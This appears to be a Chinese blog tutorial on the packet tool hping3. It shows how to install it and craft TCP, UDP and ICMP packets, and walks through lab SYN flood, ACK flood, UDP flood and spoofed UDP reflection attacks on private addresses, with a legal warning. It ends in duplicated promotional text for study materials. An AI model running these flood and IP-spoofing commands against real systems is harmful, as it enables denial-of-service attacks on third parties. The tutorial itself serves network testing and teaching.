1 概述
- hping3是一个强大的命令行工具,用于生成、发送和解析TCP/IP协议的数据包。它是开源的网络安全工具,由Salvatore Sanfilippo开发,主要应用于网络审计、安全测试和故障排查等领域。hping3不仅可以作为普通的网络连通性检测工具,还因其高度的灵活性和可定制性而被广泛用于渗透测试、防火墙测试、DoS/DDoS攻击模拟以及协议漏洞研究。
- 本文章主要介绍如何使用hping3进行常见的DDos攻击。构造IP,TCP,UDP,ICMP,HTTP等数据包的方法。还有如何使用hping3进行端口扫描。hping3的功能也不止文章中介绍的这些,其他功能读者可自行去探索。
2 hping3安装
- 以Centos平台为例,先要安装以下两个依赖包
-
yum install libpcap-devel yum install tcl-devel ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h
* [hping3下载地址](https://bbs.csdn.net/topics/618653875)
* 在github下载源码后,解压后通过以下命令安装
* ```
./configure
make
make strip
make install
3 命令简介
- 这里只介绍本文章中使用到的一些命令,全部命令可以执行 hping3 --help查看。
-
# hping3 host [options] -h --help # 显示帮助 -c --count # 发送数据包的数目 -i --interval # 发送数据包间隔的时间 (uX即X微秒, 例如: -i u1000) --fast # 等同 -i u10000 (每秒10个包) --faster # 等同 -i u1000 (每秒100个包) --flood # 尽最快发送数据包,不显示回复 # 模式选择 default mode # 默认模式是TCP -0 --rawip # RAW IP模式,原始IP模式。 -1 --icmp # ICMP模式 -2 --udp # UDP模式 -8 --scan # 扫描模式,扫描指定的端口 # Example: hping3 --scan 1-30,70-90 -S www.target.host -9 --listen # 监听模式 # IP 模式 -a --spoof # 设置源地址。在进行DDos攻击时可以使用这个参数伪造IP --rand-dest # 随机目的地址模式,详细使用 man 命令 --rand-source # 随机源地址模式,详细使用 man 命令 -t --ttl # 指定 ttl 值 (默认 64) # ICMP 模式 -C --icmptype # icmp类型,默认回显(echo)请求 # UDP/TCP 模式 -s --baseport # 设置源端口,默认为随机源端口 -p --destport # 设置目的端口,默认端口为0 -k --keep # 保持源端口不变(默认在发送一个包后端口号会递增) -w --win # win的滑动窗口。windows发送字节(默认64) -M --setseq # 设置TCP序列号 -L --setack # set TCP ack,不是 TCP 的 ACK 标志位 -F --fin # set FIN flag -S --syn # set SYN flag -R --rst # set RST flag -P --push # set PUSH flag -A --ack # set ACK flag -U --urg # set URG flag # 通用设置 -d --data # 发送数据包的大小,默认为0 -E --file # 发送指定文件内的数据 -e --sign # 指定发送的数据
## 4 hping3实现DDos攻击
* 关于DDos攻击原理可参考这篇文章 [DDos攻击原理](https://bbs.csdn.net/topics/618653875)
* 这里先准备两台主机,使用hping3进行攻击的主机为192.168.206.137,被攻击主机为192.168.1.2。被攻击主机我们先开启一个8088的TCP端口。
### 4.1 SYN Flood
* 先进行较常见的SYN Flood攻击
![请添加图片描述](https://img-blog.csdnimg.cn/direct/0ce9ece317a1415a93bae460a87df42b.png)
* ```
hping3 192.168.1.2 --syn -p 8088 -c 5 -i u500000
-
参数介绍
- 192.168.1.2 : 被攻击的主机ip
- –syn : 进行SYN攻击
- -p : 被攻击主机端口。在实际场景中,可以通过NMap等端口扫描工具来判断哪些端口是开放的。
- -c : 发送数据包的数目
- -i : 发送数据包间隔时间
-
通过WireShark看下数据包
-
可以看到攻击者发起一个SYN请求,被攻击者进行了一个ACK回应,但攻击者不会响应,又重新发起SYN请求。
-
上面演示的攻击,攻击者需要等待被攻击者响应一个ACK才会继续发送SYN,可以加个–flood参数,不需要等待ACK响应,持续发送SYN请求
-
hping3 192.168.1.2 --syn -p 8088 -c 5 -i u500000 --flood
* 可以看下效果
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/945c32a6df3c4393be628bc3ff4ccd9a.png)
* 还可以在攻击时通过-a参数伪造源IP地址
* ```
hping3 -a 192.168.11.22 192.168.1.2 --syn -p 8088 -c 5 -i u500000
- 实际的攻击者IP为192.168.206.137,这里伪造成了192.168.11.22
- 这里演示只使用了一台电脑进行攻击,其实是看不到什么效果的。实际的DDos攻击,可能需要上万台电脑同时发起攻击,如果上万台电脑不间断的持续发送SYN请求,很快就会达到服务器并发处理能力的上限,导致服务瘫痪。
4.2 ACK Flood
- 再看下ACK攻击
-
hping3 192.168.1.2 --ack -p 8088 -c 5 -i u500000
* 直接抓包看下数据
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/29e9e1eb97764676af2af154d6c072a7.png)
### 4.3 UDP DDos攻击
* 在被攻击主机192.168.1.2上开启一个8089的UDP端口
* ```
hping3 -c 5 -e "hello" -d 5 --udp -p 8089 192.168.1.2
- -e表示发送的数据,-d表示发送的数据大小。
4.4 UDP反射放大攻击
- 攻击原理:首先有一台UDP服务器192.168.1.2,给这台服务器发送一个较小的数据请求,UDP服务器会进行数据量很大的响应。攻击者操控肉鸡192.168.206.137进行攻击,并将肉鸡的IP伪造成被攻击者的IP,这样肉鸡192.168.206.137发送请求后,UDP服务器会对攻击目标192.168.206.133进行响应。
- 如果肉鸡频繁的发送查询请求,UDP服务器就会频繁的对攻击目标进行响应,导致攻击目标服务瘫痪。
- 攻击命令
-
hping3 -a 192.168.206.133 -s 1024 -k -c 5 -e "hello" -d 5 --udp -p 8089 192.168.1.2
* 参数介绍
+ -a : 伪造ip地址为攻击目标的地址
+ -s : 指定源端口号,这里就可以伪造成攻击目标的端口号
+ -k : 保持源端口号不变,否则发送一个请求后,源端口号会递增
* 借助一个UDP调试工具看下效果
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/e4a713a96aad42edba945b149f366984.png)
* 可以看到,请求本来是肉鸡192.168.206.137发送给UDP服务的,但实际上UDP服务响应到了攻击目标192.168.206.133上。
### 4.5 备注
* 这里演示了典型的几种DDos攻击方式,其它攻击方式读者可自行去测试。测试时最好使用自己搭建的内网服务,不要对公网服务去进行攻击。
* 依据《中华人民共和国刑法》第二百八十五条【非法侵入计算机信息系统罪】:非法侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统以及其他重要计算机信息系统的,处三年以下有期徒刑或者拘役。
* 依据《中华人民共和国刑法》第二百八十六条【破坏计算机信息系统罪】:对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。
## 5 hping3构造自定义数据包
### 5.1 构造TCP数据包
* TCP包头
![请添加图片描述](https://img-blog.csdnimg.cn/direct/4c2751b024e84e6381daed261b8a357a.png)
* 可以构造一个TCP数据包,包头的源端口号,目标端口号,标志位,窗口大小都可以去设置。也可以通过-a参数伪造源IP地址,上面DDos攻击介绍过,这里就不再描述过。
* ```
hping3 -c 1 -S -A -s 10010 -w 1024 -p 8088 -d 10 -e "helloworld" 192.168.1.2
- 看下抓包
5.2 构造UDP数据包
- UDP包头
- UDP包头比较简单,一般可以设置源端口和目标端口号
-
hping3 -c 1 -e "hello" -d 5 --udp -p 8089 192.168.1.2
![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/235664083fc54dc6b68c66eaecbad1b9.png)
### 5.3 构造ICMP数据包
* ICMP协议主要用于确认IP数据包是否成功送达目标地址,我们经常使用的ping命令就是使用的ICMP协议。
* 可以通过hping3构造一个ICMP数据包,构造ICMP包的命令比较简单
* ```
hping3 --icmp -c 1 192.168.1.2
- 抓包看下
最后
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!
627856414)]
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!